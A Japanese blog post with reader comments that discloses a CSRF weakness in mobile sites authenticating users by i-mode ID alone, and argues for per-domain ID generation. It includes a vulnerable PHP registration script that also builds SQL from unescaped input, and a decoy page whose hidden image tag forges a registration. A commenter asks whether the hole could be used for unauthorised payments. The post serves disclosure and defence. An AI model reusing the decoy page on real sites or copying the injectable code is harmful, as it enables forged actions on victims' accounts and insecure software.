ドコモはiモードIDの生成方法を見直すべきだ

昨年、「iモードID」の送出が開始されたことにより、「iモードID」のみでユーザ認証を行う携帯サイトが増えてきました。
そして、それら携帯サイトの中に、iモードIDハイジャック(悪意もった第三者による乗っ取り操作)の被害を受けると思われるサイトが、多数散見されます。

被害を受けるサイトの条件

  • ユーザ認証を「iモードID」のみで行っている。
  • FORMの入力内容をPOSTメソッドで送信しているものの、受け取り側でリクエストメソッドのチェックを行っていない。もしくは、GETメソッドで送信している。

iモードIDハイジャックの方法

  1. 以下のような形で登録処理を行っている攻撃対象サイト(targetdomain.com)を探す。
  2. [http://targetdomain.com/form.php]
    <html>
    会員登録開始<br>
    IDとパスワードとメアドを入力してください<br>
    <form method="POST" action="register.php?guid=on">
    <input type="text" name="id"><br>
    <input type="text" name="passwd"><br>
    <input type="text" name="mail">@docomo.ne.jp<br>
    <input type="submit" value="決定"><br>
    </form>
    </html>
    
    [http://targetdomain.com/register.php]
    <?php
    // DBへの登録処理
    $imodeid = getenv("HTTP_X_DCMGUID");
    $sql = "insert into userdb "
    	."(imodeid,id,passwd,mail) values "
    	."('${imodeid}','${id}','${passwd}','${mail}')";
    mysql_query($sql);
    ?>
    <html>
    会員登録が完了しました。<br>
    </html>
    
  3. 以下のような、おとりサイト(mydomain.com)を作成する
  4. [http://mydomain.com/trap.php]
    <html>
    おとりコンテンツ<br>
    <img src="http://targetdomain.com/register.php?guid=on&id=mpw&passwd=wpm&mail=mpwjp" width="1" height="1"><br>
    </html>
    

  5. ユーザを、おとりサイトのおとりページ(http://mydomain.com/trap.php)に誘導する。
  6. おとりページに設置されたimgタグにより、攻撃対象サイトの登録ページ(http://targetdomain.com/register.php)へ、このユーザのiモードIDと偽の情報(ID、パスワード、メールアドレス)がGETリクエストで送信される。
  7. ユーザが意図しない携帯サイト(targetdomain.com)への会員登録が行われる。

上に示した手順では会員登録だけですが、その他の操作も可能であると思います、

なお、「iモードID」だけではなく、「EZ番号」や「x-jphone-uid」のみでユーザー認証を行っている携帯サイトでも同様に攻撃可能です。
ちなみに、この攻撃手法の発想自体は新しいものではなく、ウェブ黎明期に流行した古典的な手法を多少改変しただけのものです。

追記:
よくよく考えると、徳丸氏からのコメントでの指摘どおり、GETリクエストにiモードIDを載せることを止めたとしてもiモードIDに関連した各種脆弱性の根本解決にはなりませんでした。
「ドコモはGETリクエストにiモードIDを載せるのを止めるべきだ」から「ドコモはiモードIDの生成方法を見直すべきだ」に訂正いたします。
そして、iモードIDは「 iモードID = hash(”親ページのドメイン名” + ”電話番号”) 」 のようなロジックで、アクセス先の親ページのドメイン名ごとに、一意に生成される仕組みが望ましいと思います。

6 Responses to “ドコモはiモードIDの生成方法を見直すべきだ”

  1. 徳丸浩 より:

    これはアプリケーション側のCSRF脆弱性ですね。iモードIDを使ってなければただの「荒らし」ですが、iモードIDを使っている場合は端末認証されていると考えられるので、その端末認証にひもついた会員情報を勝手に登録されるという意味でCSRF脆弱性になります。
    それに、iモードブラウザ2.0のJavaScriptを使えば、POSTでも攻撃可能です。
    したがって、「ドコモはGETリクエストにiモードIDを載せるのを止めるべきだ」という主張は正確でないと思います。iモードIDそのものを廃止すべきだという意見であれば、納得できます。
    また、そういうサイトが多そうというのは理解できますが、これはアプリケーション側で対策すべき問題です。

  2. mpw.jp管理人 より:

    よく考えてみたら、ご指摘の通りでした。
    iモードIDなどのユーザ識別子が、アクセス先の親ページのドメイン名ごとに一意に生成されるもの(例:ユーザ識別子 = hash(“親ページのドメイン名”+”電話番号”))で無い限り、GETリクエストにiモードIDを載せるのを止めたとしても根本解決にはなりませんでした。
    ご指摘ありがとうございます。

  3. nono より:

    関係ないのですがsoftbankでdocomoとAjaxのランキングが見れないので見れるようにお願いします。

  4. より:

    >なお、「iモードID」だけではなく、「EZ番号」や「x-jphone-uid」のみでユーザー認証を行っている携帯サイトでも同様に攻撃可能です。

    すいません
    auサイトやSBMサイトでも攻撃可能というのは
    iモード機を使っての攻撃という事なのでしょうか?

    それとも
    auサイトにはau端末、SBMサイトにはSBM端末を使って攻撃ということなのでしょうか?
    (auやSBMにも同じ脆弱性がある)

    例えばauだと
    EZ番号を送信する必要があるわけでiモード機からEZ番号を送信することはないことから
    後者だと判断していたのですが違うのでしょうか?

  5. mpw.jp管理人 より:

    > auサイトにはau端末、SBMサイトにはSBM端末を使って攻撃ということなのでしょうか?

    こちらになります。

  6. より:

    もしかしてこれの被害事例でしょうか?
    http://nat-q.jp/ctg3/q_detail.php?no=10340

    この脆弱性をつかって
    マイメニュー登録やiモード個別決済を
    ユーザのしらないところで行うことは出来ますか?
    (被害者のiモードパスワードが初期値の「0000」の場合という条件で)

Leave a Reply